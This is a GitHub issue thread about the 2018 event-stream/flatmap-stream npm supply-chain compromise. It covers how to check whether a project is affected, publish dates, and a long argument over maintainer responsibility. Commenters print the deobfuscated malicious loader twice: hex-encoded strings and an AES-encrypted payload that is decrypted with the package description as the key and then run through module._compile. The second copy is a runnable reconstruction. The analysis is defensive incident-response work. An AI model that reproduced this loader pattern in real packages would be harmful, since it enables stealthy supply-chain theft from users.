dominictarr / event-stream

EventStream is like functional programming meets IO

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

I don't know what to say.

FallingSnow opened this issue · comments

EDIT 26/11/2018:

  • Am I affected?:
    If you are using anything crypto-currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to be copay at this point). If you are using a crypto-currency related library and if you see flatmap-stream@0.1.1 after running npm ls event-stream flatmap-stream, you are most likely affected. For example:

    $ npm ls event-stream flatmap-stream
    ...
    flatmap-stream@0.1.1
    ...
    
  • What does it do:
    Other users have done some good analysis of what these payloads actually do.

  • What can I do:
    By this time fixes are being deployed and npm has yanked the malicious version. Ensure that the developer(s) of the package you are using are aware of this post. If you are a developer update your event-stream dependency to event-stream@3.3.4. This protects people with cached versions of event-stream.


@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.

@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which flatmap-stream@0.1.1 was published I wouldn't be asking you questions.

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.

// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
    // o = t[e(n[3])][e(n[4])];
    // npm_package_description = process[decode(n[3])][decode(n[4])];
    // npm_package_description = process['env']['npm_package_description'];
    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

    // a = u.update(n[0], e(n[8]), e(n[9]));
    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));
    decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

@FallingSnow did you manage to work out what the attack does?

No. I spent a better part of a day trying to get something other than gibberish out of the encrypted AES payload. I've tried executing the gibberish and it errors out.

I believe there are 2 possible reasons I haven't been able to get the actual payload's code.

  • I might not be using the correct passphrase. Even though the description for ps-tree is the only passphrase that actually successfully decrypts the encrypted payload, it may still not be the correct passphrase.
  • I'm using an invalid charset with the payload?

unpkg link to help other people poke around: https://unpkg.com/flatmap-stream@0.1.1/index.min.js

he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and havn't for years.

note: I no longer have publish rights to this module on npm.

Please contact npm support and they will take care of the situation.

note: I no longer have publish rights to this module on npm.

npm owner ls event-stream

right9ctrl <right9ctrl@outlook.com>

Transfer publishing rights to the unknown dude, but keep the repo under your username. Well done, mate 👍

@limonte I tried to transfer it to @right9ctrl but github errored because they already had a fork of it at http://github.com/right9ctrl/event-stream

If you guys feel strongly about this, why don't you volunteer to maintain it and contact npm support?

To know if your project is in danger, run:

npm ls event-stream flatmap-stream

The bad actor has publishing rights to event-stream and flatmap-stream contains the malicious code (specifically flatmap-stream@0.1.1, but any future version can't be trusted).

Here is an example result from one of my projects:

[redacted]
└─┬ npm-run-all@4.1.3
  └─┬ ps-tree@1.1.0
    └─┬ event-stream@3.3.6
      └── flatmap-stream@0.1.2

@dominictarr: although I completely disagree with someone else contacting npm support, I contacted npm support myself for now.

You put at risk millions of people, and making something for free, but public, means you are responsible for the package.

Anyway, I don't want to argue about this, I just want the issue to be solved, because this is a popular package.

If you guys feel strongly about this, why don't you volunteer to maintain it and contact npm support?

@dominictarr Apparently, you don't want to take any responsibility for this package. That's fine, it's the free community, do whatever you want. But at least indicate somehow that you're not maintaining this repo anymore, e.g. archive the repo

When you archive a repository, you are letting people know that a project is no longer actively maintained.

There is a huge difference between not maintaining a repo/package, vs giving it away to a hacker (which actually takes more effort than doing nothing), then denying all responsibility to fix it when it affects millions of innocent people.

Probably safe to assume other packages are affected by the same method: Find a package that isn't well maintained + high downloads and simply ask to take control of it.

Now we have to run a background check when someone wants to help? The problem is in the tools.

On the one hand @dominictarr, if you choose not to maintain a package anymore, and don't have a trusted person you can pass the baton on to, I think the sensible, and responsible thing to do is to mark the package as deprecated.

At the same time, I think it's bullshit for so many people to depend on a package with one maintainer, and then try and pin all responsibility on that maintainer, instead of getting involved, with governance, or maintenance of the package.

@rougeth This is really an issue of trust. If you chose to give publishing rights over to a malicious actor, I'm not sure what a tool can do to prevent that.

As an aside has anyone figured out what the injection, was attempting to do? Don't have time to look right now.

Pin your dependencies and bump versions manually after reading changelogs (don't let npm install auto-bump your dependencies).

Transitive dependencies are a PITA to manage but there's no good alternative [that I'm aware of].

Hi, i use 4.0.x version in one of my project. I can not find the flatmap-stream dependency in the installed node_modules and also in the installed event-stream package.json not contains. Pls can you tell me, my project is in danger?

@XhmikosR Any update from npm support?

I'm willing to maintain this package.

cc @dominictarr

Any update from npm support?

None. Maybe someone else should contact them too.

@devmetal as far as I can tell, if you don't have flatmap-stream@0.1.1 in your dependency tree, you haven't been exposed to this code. You can check for it with npm ls flatmap-stream.

@shockey and if it's there?

Any update from npm support?

None. Maybe someone else should contact them too.

I've contacted them through Twitter. Hope we get response soon.

@shockey Thank you, its empty so i think the 4.0.x version is not affected. Its possible? I mean, this versions has built top of each other right?:

path/for/my/project
└── (empty)

That was the output

@FallingSnow So the malware is present only in the package version 3.3.6, right? I checked on npmjs package website and it seems that the dependency with flatmap-stream is present only on 3.3.6

@sorahn if it's there, then you may have executed the (allegedly) malicious code. I have no idea what it does, but since it references the process object, rotating any credentials you expose through environment variables is a great place to start.

@dominictarr - your work is much too commonly used to give control over to unknown people. By acting like this was fine, you are teaching other attackers to think of you as a productive vulnerability vector.

This is open source 101. Don't give control to strangers.

@devmetal it seems the commit author removed it when bumping the package to 4.x, presumably to ensure future updates to this module don't cause people auto-bumping minor versions to lose the possibile vulnerability.

If you're on 4.x you should be fine but it's best to check your dependency tree as described above. If it is present then it's probably best to migrate to a new package or pin to a known good version of the package (which you should do anyway).

@rougeth - what possible remediation is there for using open source and having ownership, other than making ownership not-transferrable?

i mean i guess i'd like NPM to treat an owner change like a major, but that's not a real security boundary, and very likely could easily be trickily dodged.

@shockey I manually checked the minified source in my node_modules folder and it doesn't appear to contain anything malicious. I also don't think anything running on my dev machine has creds in env variables.

Thanks.

commented

A lot of butthurt people railing on the guy. Maybe he just doesn't care anymore about a dead package he has no intention of maintaining.

Blame yourselves devs, not the author who donated hours and hours of free work for your benefit.

I also just checked the three versions on npm, 0.1.0, 0.1.1, 0.1.2, and none of them have the above code that OP has put. I downloaded the tarballs directly from npm, am I missing something? @FallingSnow where did you find that?

I found it, it's cleverly hidden at the end

Quoting @FallingSnow

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

If anybody finds malicious code in a package in the future, please also inform the Node.js Security Working Group, not just npm.

This will ensure that the issue is assessed and resolved as fast as possible.

@sergiotapia - this gets different when you actually have companies to maintain, and become legally liable for the safety of your users. it is not that you get it and everyone else doesn't.

gdpr would bankrupt a company caught under this.

So many people who want something for nothing, give Dominic a break. I hand off tons of my modules to people who are willing to maintain them as well, we shouldn't be expected to vet people. OSS authors already spend time providing something for free why should they be required to waste more time, pin and vet your code always if you're concerned about security, there's no way around that.

Yes, you should be expected to vet people if you give them control to code running on my machines.

If you're not willing to vet them, the library should be forked, so that I know I need to vet them.

This is standard open source policy going back decades in almost every major language for a reason.

You're playing with fire on other peoples' machines. More than one formerly great developer has disappeared because they've caused damage this way by refusing to understand other peoples' needs, as they've realized that the source is not security trustworthy.

@rjhesketh It matters to you, it's not the problem of the original author.

Give that guy a break ffs.

@CKarper - respectfully you seem to be missing the point. A fork happens by the author as an identity change signal. A third party doing so doesn't broadcast anything and is unrelated.

@StoneCypher yeah that's fair, the "inactive" button on GitHub but then you just people complaining that the NPM module name is taken etc. I find it's less of a problem in Go-land where forking is the norm.

Even if the people look legit who knows what their intentions are. If anything NPM promotes this behaviour by having centralized names. I often get requests to use a name for a "stale" package, or to maintain the existing one so the name remains the same.

Do people run important software like banks on implicit trust? I'd sure hope not. I think at the corporate level there's no excuse but to vet and pin all of your code, vulnerabilities are introduced by accident as well, I don't see any way around vetting code that you're actually shipping.

commented

There's projects I've given up on. Even if I'll never work on it again, I'm not going to hand over control to a complete stranger! That's a ridiculous proposition. That's what the Fork button is for.

The buck stops here. Here being defined as the entity choosing this package and using it. You are responsible for what you ship to customers. Vendor your libraries, use git submodules, vet your deps. Its your problem @StoneCypher and co.

@tj - you know, it's actually quite possible to transfer an npm name to a fork

Some of y'all are really quick to forget what this software is licensed under:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND

The buck stops here. Here being defined as the entity choosing this package and using it. You are responsible for what you ship to customers. Vendor your libraries, use git submodules, vet your deps. Its your problem @StoneCypher and co.

commented

Some of y'all are really quick to forget what this software is licensed under:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND

That covers him legally, sure. It doesn't mean he can't be criticised for it.

I see a lot of people whose source no longer seems safe to me

commented

Was going to say it's impossible to properly vet people since somebody that seems trustworthy can suddenly turn out not to be. But then I went to @right9ctrl's profile page and it's a 1yr Chinese blank account with no repos (all forks).

Please stop arguing. Let's focus on understanding what damage the encrypted code is doing. And how we can recover from it.

@FallingSnow I'm trying to look at the decoded payload, if you find something useful please let us know, I'll do the same

Well actually, transferring ownership of a library is a common thing to do in the open source world. The reason some of you might not be aware of this is because there are no issues most of the time.

People, can we stop arguing about this for now? It's quite a bit more important that we figure out what the malicious code in question actually does.

The undoubtedly lengthy debate about security expectations in open-source can be had later.

@FallingSnow The publish dates are as follows:

created | "2018-09-05T08:23:42.124Z"
0.1.0 | "2018-09-05T08:23:42.256Z"
modified | "2018-11-26T17:18:17.658Z"
0.1.1 | "2018-10-05T08:20:23.091Z"
0.1.2 | "2018-11-15T20:10:17.657Z"

Source: http://registry.npmjs.com/flatmap-stream

@fent the city says tokyo

Also, the package appears to have been unpublished by npm support now.

function d() {
    function decode(codedString) {
        return Buffer.from(codedString, "hex").toString();
    }

    var data = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629", "db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1", "63727970746f", "656e76", "6e706d5f7061636b6167655f6465736372697074696f6e", "616573323536", "6372656174654465636970686572", "5f636f6d70696c65", "686578", "75746638"];
    var decipher = require('crypto').createDecipher('aes256', process.env.npm_package_description);
    var payload = decipher.update(data[0], 'hex', 'utf8') + decipher.final('utf8');
    var f = new module.constructor();
    f.paths = module.paths
    f._compile(payload, "")
    f.exports(data[1]);
}

process.env.npm_package_description = '';
d();

this is my attempt at reverse engineering it, but I can't get it to decode anything other than gibberish. Finding the right npm_package_description appears to be hard, I'm assuming this was a fairly targeted attack but I'm not too familiar with how NPM sets those env vars, but I assume it's set to whatever the top level package is at some point in a lifecycle? Does anyone who knows NPM (or maybe Yarn or an alternative?) better than me know any more?

@FallingSnow @Enrico204 the user's profile says that he's in 東京都 (Tokyo), have you tried looking at the payload with CJK character sets? Can you try UTF-8, UTF-16, GBK, GB2312, BIG5, maybe other character sets for Japanese and Korean as well?

@EdwardDrapkin I'll try, but it might be false (of course)

@cnorthwood There's a bulk set of npm registry metadata available at https://gzemnid.nodejs.org/datasets/ - you might be able to automate attempting the decryption with each possible package description in the entire registry.

So far, this seems like an attack that's targeted towards a specific package, using the package description as the 'marker' for code execution by using it for decryption.

The buck stops here. Here being defined as the entity choosing this package and using it. You are responsible for what you ship to customers. Vendor your libraries, use git submodules, vet your deps. Its your problem @StoneCypher and co.

This thread is full of entitled folks, but I don't know what else I should expect - entitlement is a pervasive attitude of OSS users. [EDIT: I made the unfortunate mistake of calling out the quote as an example of entitlement, but that was incorrect, and this comment has been edited to reflect that.]

Some of y'all are really quick to forget what this software is licensed under:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND

The correct answer.

So many people who want something for nothing, give Dominic a break. I hand off tons of my modules to people who are willing to maintain them as well, we shouldn't be expected to vet people. OSS authors already spend time providing something for free why should they be required to waste more time. This is why OSS needs funding and developers should stop being so entitled.

The even more correct answer.

Please stop arguing. Let's focus on understanding what damage the encrypted code is doing. And how we can recover from it.

The most correct answer. Focus on solving the problem, not pointing fingers.

I'd like to emphasize this comment from @dominictarr :

#116 (comment)

This is an issue I have also experience with GitHub. You can not transfer ownership of a repo to another user if they have a fork under their namespace. This is absurd because most likely a potential maintainer has their own fork. I'd argue this is also a failing on Github.

commented

The comments about disclaimed warranty are correct, and important to note. @dominictarr is not responsible for damages caused by this software. He is a victim himself, in that he has been misled by a malicious attacker.

I think ultimately this situation could have only been prevented by using a package system more akin to apt, where developers who can sign packages are carefully selected and managed.

I wish everyone success in figuring out how to recover from these issues.

@cnorthwood folks at npm have just removed the flatmap-stream package, I don't have the ./test/data file anymore (I was just about to download it). Can you send it to me? I want to try to decode it with some other packages descriptions

@Enrico204

